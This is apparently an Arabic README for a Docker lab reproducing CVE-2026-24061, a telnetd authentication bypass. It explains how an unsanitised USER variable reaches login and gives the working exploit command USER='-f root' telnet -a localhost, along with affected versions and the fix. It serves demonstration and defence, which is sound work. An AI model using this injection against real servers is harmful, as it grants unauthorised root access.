
هذا هو إثبات مفهوم بسيط (PoC) يتيح لك إبراز خطورة ثغرة Telnet الجارية والمستغلة بنشاط في الوقت الحالي. لماذا ما زال الناس يستخدمون Telnet... هذا أمر يفوق فهمي.
مختبر Docker لتوضيح CVE-2026-24061 — ثغرة حرجة في تجاوز المصادقة في GNU inetutils telnetd ظلت دون تصحيح لمدة 11 عامًا.
يمرر Telnetd متغير البيئة USER مباشرة إلى /usr/bin/login دون تعقيم. يحتوي برنامج login على علامة -f التي تتخطى المصادقة (مصممة للجلسات المُصادق عليها مسبقًا). من خلال تعيين USER='-f root'، يخدع المهاجم برنامج login لمنح وصول الجذر دون كلمة مرور.
الإصدارات المتأثرة: GNU inetutils 1.9.3 (مارس 2015) حتى 2.7 درجة CVSS: 9.8 (حرجة) الإصلاح: التحديث إلى inetutils 2.8+
# بناء الصورة
docker build -t telnetd-exploit .
# تشغيل الحاوية (تسقطك في شل كمستخدم user1)
docker run --rm -it telnetd-exploit
# الاستغلال — احصل على الجذر دون كلمة مرور
USER='-f root' telnet -a localhost
ستصل إلى شل الجذر. شغّل whoami للتأكيد.
1. يتصل العميل بـ: USER='-f root' telnet -a localhost
2. يستقبل telnetd متغير البيئة USER: "-f root"
3. ينفذ telnetd: /usr/bin/login -f root
4. يفسر login العلامة -f على أنها "تخطي المصادقة، المستخدم مُتحقق منه مسبقًا"
5. يحصل المهاجم على شل الجذر — دون الحاجة إلى كلمة مرور
علامة -f مشروعة — فهي مخصصة للسيناريوهات التي يكون فيها المستخدم مُصادقًا بالفعل (مثلًا، من جلسة محلية موثوقة). الخلل هو أن telnetd لا يعقّم متغير USER قبل تمريره إلى login، مما يسمح للمهاجمين عن بُعد بحقن العلامة.
اعتبارًا من يناير 2026:
حتى بدون هذه الثغرة، ينقل Telnet كل شيء كنص عادي — بما في ذلك كلمات المرور. استخدم SSH بدلاً منه.
| البروتوكول | التشفير | المصادقة |
|---|---|---|
| Telnet | لا يوجد | نص عادي |
| SSH | نعم | مفتاح/كلمة مرور |
.
├── Dockerfile # يبني حاوية Debian الضعيفة
├── docker-entrypoint.sh # يبدأ inetd، يهبط إلى user1
└── README.md
المختبر مبني على leonjza/inetutils-telnetd-auth-bypass